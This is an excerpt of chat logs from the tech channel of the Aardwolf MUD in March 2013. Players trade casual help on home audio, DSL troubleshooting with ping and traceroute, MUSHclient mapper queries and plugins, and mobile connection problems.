T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: shrug, guitarists refer to this piece of equipment as a guitar amplifier
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: other than tuning your sound
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: from my non-technical viewpoint an amp is just a large speaker with a guitar jack
T3/r7/2013-03-27.txt.gz:{chan ch=tech}BlueBeetle Tech: is there a reason why underwater breating is not included in the spellup command ?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Zade Tech: Aluminum shielding may perhaps "shield" or reduce dynamic magnetic changes but not a static magnetic field
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: bluebeetle: you're a triton
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: I wasn't sure if having a very loud amplifier directly facing a wall might cause interference or feedback, or some kind of constructive interference loop
T3/r7/2013-03-27.txt.gz:{chan ch=tech}BlueBeetle Tech: meh
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: doesn't impact anything other than quality/timing of the sound
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: can help to do that to keep it from directly facing pickups/mics
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: so unlikely to damage equipment
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: won't do anything at all to the equipment
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: ok great, thanks
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: the speaker/amp doesn't know where the wall is
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: Just have to make sure the amp has some breathing room so it doesnt overheat^^
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: and sound waves from the bounceback don't damage anything...it'd be like facing two speakers toward each other
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: true, the wall is a hard surface though and must echo the majority of that sound straight back at the amp though at such short distance
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: never tried facing two speakers directly at each other either, but now that I know it's safe........
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: sound waves aren't electromagnetic, and are an extremely tiny force pushing
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: Often sounds better to bounce a subwoofer of a wall or surface
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: Something with the sound waves traveling longer before they reach your ear.... beyond me. Tinkered with car stereos for a while though.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: screen starts flickering in an eerie way when I turn amp on, I wonder if that's the electromagnet
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: yup, that's the part that's bad for the screen
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: probs stupid question but, even when monitor is switched off it will cause damage?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: GraySong Gregor buries his face in his hand and sighs, shaking his head.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: Ok, gonna need to seriously revamp my whole setup.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: I remember when TV's were wide enough to sit stuff on top of... people would buy a huge one, then place large center speaker on it... year later the center of the screen would be pulled up a foot
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: how long would it take to cause my monitor serious damage? Do you think it'd be ok after a half hour amp test run?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: Must be getting old... the little cube of a TV I use to play my Atari on.... lol
T3/r7/2013-03-27.txt.gz:{chan ch=tech}StarsOscar Tech: Astroids FTW
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: swear it was deeper than the screen was wide/high
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: it should be OK for that long, as long as it's only looking a little wonky...if it looks like it's royally changing the screen, I wouldn't continue
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: Missile Defender!
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: yeah, bottom inch of screen flickers eerily, that's it
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: you mean missile command
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: this monitor must be worth about 5USD anyway
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: I only use retro equipment for playing aardwolf
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: missile command had the bases at the bottom with the ICBMs falling onto them, while defender was a side-scroller
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Chimeishio Tech: I dunno, most places charge you to recycle old monitors, might be worth negative :P
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: hehe yeah, maybe I'm over-valueing my stuff
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: well, it's worth at least 5 USD to me anyway!
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: Staples takes damn near any electronics for free...monitors, UPS batteries, CPUs, etc
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Chimeishio Tech: really? do you have to buy anything?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Hanslanda Tech: how old, though?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: nope
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Chimeishio Tech: nice, time to load up the car :P
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: I walked into there with a couple APC RB7 batteries & walked out a few mins later
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: http://www.staples.com/sbd/cre/marketing/easy-on-the-planet/recycling-and-eco-services.html
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Zetkax Tech: is there some way i can change the colors used by the imm channel? that dark red on black is hard to read
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Ayasinda Tech: help colorset
T3/r7/2013-03-27.txt.gz:{chan ch=tech}BobTheGreat Tech: Can someone give me a quick and dirty example of how to query Aardwolf.db (mapper's database) to get all rooms that EXACTLY contain some text? Or point me to somewhere I can learn how to?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}BobTheGreat Tech: (MUSHclient, ofc)
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Zetkax Tech: xmall <roomname>
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Zetkax Tech: soz you wanted exact
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: SELECT * from room where name = 'valueiwant';
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: rooms*
T3/r7/2013-03-27.txt.gz:{chan ch=tech}BobTheGreat Tech: I'll try that, Cheez. I didn't think it would be that simple because I was looking at the SQL statements in winkle's extender (only plugin I know of that queries the db)
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Besides the mapper, you mean? :P
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: BobTheGreat nods.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just use a SQl browser to open the .db and check the tables, then finding the query's simple
T3/r7/2013-03-27.txt.gz:{chan ch=tech}BobTheGreat Tech: I actually tried that, but it didn't work. I'm using http://sourceforge.net/projects/sqlitebrowser/?source=dlp
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Bast Tech: look at the "mapper find" command, because Fiendish makes it exact if you use double quotes around the argument
T3/r7/2013-03-27.txt.gz:{chan ch=tech}BobTheGreat Tech: Hey, that's neat! Thanks Bast :)
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I use http://www.razorsql.com/
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Mushambo Tech: I only get about 20Kbps dl speed on my phone (updating through Play Store), over wi-fi...is that a function of having a slow-processor phone?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: anyone have any idea why my front usb ports might have stopped working?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: this is the second time it's happened now, last time a reboot fixed it, haven't tried that yet now...
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: water getting in there, corrosion
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: loose connection
T3/r7/2013-03-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it's not corroded :P
T3/r7/2013-03-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: rebooting wouldn't fix it if it was a loose connection
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: a bug
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Dardezael Tech: i'm going with power profile
T3/r7/2013-03-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: anyone have any useful suggestions?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: nod, i think it's a power problem, cause the light on my headset doesn't turn on... but i don't know what i can do about that
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Dardezael Tech: not a problem - it's just being shut off.  the profile dictates when that happens
T3/r7/2013-03-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: the only usb-related setting i see in power options is usb selective suspend setting, and that's disabled
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Dardezael Tech: for now, don't tweak just turn every setting you can find to on and see if you can get it on.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Dardezael Tech: so to speak
T3/r7/2013-03-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i don't see any other usb-related ones...
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Dardezael Tech: I'm confused.  I'm not seeing sh messages.  I don't thnk I have it gagged...
T3/r7/2013-03-28.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: wchar_t or TCHAR, dicuss.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: discuss* even.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Leinei Tech: foo
T3/r7/2013-03-28.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: bar
T3/r7/2013-03-28.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Why do people #define multiple lines in C++?
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Because one row would make it cluttered? :)
T3/r7/2013-03-28.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Isn't there a better way to do something like that, like an inline function or something?
T3/r7/2013-03-28.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Or even write a separate function and then #define a call to that function...
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Eh, I guess it's a matter of preference.. I never used #define's to make functions myself, since like you said. You can just make a function :)
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: But if someone makes a very long define, I'm all for several lines with less clutter over one cluttered and obfuscated one
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: how do I 'reset' windows internet explorer to factory new?  I just uninstalled some toolbar/adware crap that my kids let sneak on, and IE explorer is sort of dead now.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: it comes up, but nothing is "clickable"
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Leinei Tech: Assuming you're running a legit version of windows, I believe you can just uninstall it completely and download the newest version using windows update, yeah?
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: well... some of the setting buttons work, but 'internet options' is greyed out
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: will try that
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: not seeing it in the 'add/remove programs' list.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Ayasinda Tech: look at 'installed updates' part
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: how 'bout that... uninstalled Sliverlight®, and it works ok now
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: and iexplore was under the updates part.. shouldn't have to mess with it now, though.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hijack this can remove BHO's
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Karang Tech: How many times does it take you guys do something repetive where you go screw it and go alias/trigger time!
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Swalec Tech: twice
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Ranrr Tech: a half
T3/r7/2013-03-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: wheni get bored
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Karang Tech: Swalec ahh Remarto has the same answer as me
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Swalec Tech: more seriously, it depends on the amount of effort it will be to alias
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Swalec Tech: I mean not all aliases have the same cost, and not all repetition had the same annoyance
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Swalec Tech: for instance, I wrote a plugin to traverse mazes
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Karang Tech: nifty what was the basic premise of the maze traversal?
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Swalec Tech: this was quite a lot of effort to do, and required a fair bit of experimentation, but mazes were a real pain in the ass
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Swalec Tech: random walk till you get to the end -- I thought about other alternatives, but this was quickest
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Karang Tech: I was thinking that, what made you choose to keep it as a plugin versus just having alias and triggers set up? 
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Karang Tech: Nevermind, its late
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Karang Tech: running a tad slow
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Redryn Tech: mazewalkers are illegal btw
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Karang Tech: talk about being a downner Redryin :P
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Karang Tech: coding just for coding sakes to say you've done it is fun too
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Atle Tech: can someone send me a tell explaining how to do custom exits in the aardmush mapper
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Scars Tech: mapper cexit (action)
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Bast Tech: here is a nice page on using the mapper: http://www.holgerschurig.de/games/aardmapper.html
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Karang Tech: any particular reason I would use Lua in mushclient if I already know Python?
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Bast Tech: because lua is built in and it requires no extra steps to get working
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Karang Tech: fair enough
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: my internet is very 'choppy' today (and other days).  3 sec good - 2 sec dead - 5 sec good - 1 sec dead - 1 sec good - 4 sec dead - etc... what's the likely culprit?  N-wireless router with 1.5M DSL connection.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Tech: step 1: hardwire in to take the wifi out of the equation
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: a sound recommendtation, but I have one wired computer that is behaving similarily
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Tech: that'll tell you whether the issue is at (or past) the DSL or a radio interference issue
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: though the wired computer does seem to fair somewhat better... I'm 10 miles outside town with only two neighbors within a mile of me.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Ixle Tech: How are you testing? Just by "feel" or from ping results?
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: I have a wireless phone that is on a completly different frequency to minimize interference.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Tech: DSL is a dedicate connection (TDM), so others nearby won't have an impact, unlike cable
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: pretty much by feel for comparing the wired vs wireless... I havn't done any speed tests to check the rest of the connection... what's a good on?
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: when ever I go looking for an online test, they always wanna sell me something.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Ixle Tech: Others can speak to how "good" it really is but I always default to ping. Start-Run-"cmd" then "ping -n 100 google.com"
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: Minimum = 63ms, Maximum = 1649ms, Average = 784ms...  after 2 minutes... it was ALL OVER the place... 8 timeouts.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Ixle Tech: And on the wired computer?
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: restart modem and router
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: not quite as big a spread... no cut and paste, but fastest was 88ms, longest was 1306ms. 599 average  - 3 timeouts
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: router/modem have been reset a couple times... fixes other issues I run into, but not this one.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: get Axence nettools and use its traceroute to check where are problems
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: will look into that now
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Ixle Tech: At this point I usually call provider and whine.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}RightOn Rithlin Tech: heh
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: how does that work out for you?
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i like when i call the isp and tell them what to do and they still instist i pretend to reset everything
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: still it can be one of next hops - with nettools he will be able to check what hop causes problems
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: DL time estimate is bouncing between 20 minutes, and 4-5 hours =)
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you could just use tracert instead
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: or in the meantime
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: keeps timing out after three hops
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: so when using axence nettools, what is the useful information I am looking for?
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: you should try to use 'trace'
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: just pick any host - like google.com and see on what hop there are problems
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Ontuct Tech: they said there were ddos going on yesterday
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: seems to pause at a dot on the map somewhere around where nashville ought to be
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: you are interested in numbers above the map, not the map itself
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: if there are high pings or loss at 1st / 2nd hop then you have problem with your ISP
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: 3rd and higher (with your ISP domain name) means your ISP has problems in his network
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: had to maximize the app to see the numbers... was wondering what the heck you were talking about...looking at the IPs for the first two number, I'll guess that they are my router and modem, respectively... #3 is the phone company (centrylink), so on and so forth....
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: I have an average of 2 and 2 for the first two numbers... then jumps to 55 for the first non-private IP (centrytel.net) and gets worse from there (all centrytel or centrylink addresses)
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: using google.com, BTW
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: what about the last column "%lost"?  that seems kinda alarming.  all of them are 98-100% lost
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: it rather should be 0% or 1-2
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: though, routers can ignore ICMP packets under load, so %loss not neccesarily means there goes something wrong
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: though it is unusual to have all hops with such high loss
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: ya... my router and modem are all 0% loss.  everything after that is 99-100 loss
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: I mean some of routers may ignore ICMP packets, but it is unusual to have them all droping ICMP (unless all are in the same network)
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Trachx Tech: I mean - network provider (like all your ISP servers)
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: near as my untrained eye can tell from this data, the trouble is somehere between the back of my modem, and google.
T3/r7/2013-03-28.txt.gz:{chan ch=tech}Vonliege Tech: but my modem to router, and router to computer are solid
T3/r7/2013-03-28.txt.gz:{chan ch=tech}GreenAcid Tech: is there a way to close the "Aardwolf MUSHclient Package: Getting Started" window without a mouse?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: So... cheapskate lost earbud tips trick: take your memory foam earplugs, impale it on a nail, and tada!  Instant earbud tips that fit way better than stock tips and stay in while running... plus they are now as quiet as noise cancelling head phones!
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Just didn't want to drive to the store right now.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Cryos Tech: hello
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Cryos Tech: can someone help me get inv window working?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Cryos Tech: i have the plugin installed but the window isn't popping up
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: Is this Bast's plugin?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Cryos Tech: its aardwolf_inventory_v3
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: I have not used that one.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Cryos Tech: i believe its working however now when i type inv nothing happens because im guessing its suppose to show up in the window. but i don't see a new window
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Ayasinda Tech: where did you get that plugin from. I don't know it either
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: Did you get that fromthe Forums?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Cryos Tech: yeah one sec let me get the link
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: I have used that one. It is Blainer's plugin.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Cryos Tech: its https://github.com/nickgammon/plugins/blob/master/aardwolf/Aardwolf_Inventory_v3.xml
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: Oh, Nick's inventory he had made.I like the layout, but he never finished it.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Cryos Tech: oh... ok... is there another link someone can give me to a working inv window?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Ayasinda Tech: he never finished it? Could that be the problem here?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: finger bast.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: Bast has a group of plugins that are pretty solid. Plus, it has an equipment organizer too.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Cryos Tech: cool ill check them out
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Naiba Tech: i dont think bast has an inventory plugin. only EQ
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Cryos Tech: ok thanks guys its late i think ill check it out tomorrow heh
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: It is also an inventory plugin.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: It has "Inventory" as part of the EQ plugin.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Naiba Tech: holy *#*$!!!!!!!! i've been using it for ages and i didnt know!
T3/r7/2013-03-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: doe anyone know how to get claim ail
T3/r7/2013-03-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mis
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: can some one please help me? I play on blackberry using bbssh.. I got a messagge java.nio.channels.unresolvedaddres and it also shown my ip adress.. Now i can't connect to aard! I'm using mxit now trying to find help
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Elkore Tech: sounds like your dns is not working
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: how do i fix it?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: What are you trying to connect to?  aardmud.org?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: can it have to do that i have two accounts on bbssh?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: yes
T3/r7/2013-03-29.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: Try changing it to the ip address shown in 'help ip'
T3/r7/2013-03-29.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: that should fix it if it's your dns server that's the problem
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: in my phone or aard?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}BlueBeetle Tech: on phone
T3/r7/2013-03-29.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: In your client
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: ok ty :)
T3/r7/2013-03-29.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: wherever you configure your client to tell it where to connect to
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Elkore Tech: how does your blackberry communicate with the internet? using wifi or do you connect using your phones data plan?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: I'm using bis not wifi, it worked fine for 2 weeks
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i think mxit intercepts or has it's own dns
T3/r7/2013-03-29.txt.gz:{chan ch=tech}BlueBeetle Tech: i was thinking obviouslt you cant change aard's ip but ye brain fart :p been ip to long :p
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: yes mxit got its own/different ip
T3/r7/2013-03-29.txt.gz:{chan ch=tech}BlueBeetle Tech: up*
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mxit users not being able to connect via regular telnet is a common problem here on teck
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: tech*
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: but I'm not using mxit earlier i was using bbssh :)
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Elkore Tech: thats ok, i dont know how either works :)
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's your data plan. isn't it bundled with mxit or something?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: ok I'm going to try change my dns now
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you don't need to mess with the dns. just use aard ip
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Elkore Tech: um you are going to bypass your dns by entering ip directly
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: no my bis includes data download,bbm, internet browsing all for a monthly fee
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: ok brb going to try fix it :) ty
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: what's bis?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Karachi Tech: blackberry internet service
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: would be nice if you could connect to 443
T3/r7/2013-03-29.txt.gz:{chan ch=tech}BlueBeetle Tech: how would you go about  changing connections settings in the aard version of blowtorch ?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}BlueBeetle Tech: options seems limited
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Slyzora Tech: I'm in at last :) i know now what the problem was but i don't know why
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Slyzora Tech: for some reason aardwolf.org port 4000 gave me problems.. now I'm using aardmud port 4010 and it runs better.. why is this?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Slyzora Tech: does any one know why?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Aurelia Tech: I'm getting a strange error: Trigger function "invmon" not found or had a previous error. . I tried reinstalling and restarting mush, and it helped when I first relogged, but now I'm getting it again
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Bast Tech: type "plugins reload eqdb" and then "eqdb refresh"
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Aurelia Tech: Awesome, but the miniwindow with my inventory isn't refreshing - any suggestions?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Bast Tech: it will when you do that
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Aurelia Tech: I did, and it didnt
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Bast Tech: then type "plugins reload miniwin_eq"
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Aurelia Tech: Thank you!
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Bast Tech: no problem
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: everyone should buy bioshock infinite
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Torkin Tech: it good?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: I can wait.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: I just finished it and it is very good
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Short game huh
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: the ending is what makes it extraordinary, mind you
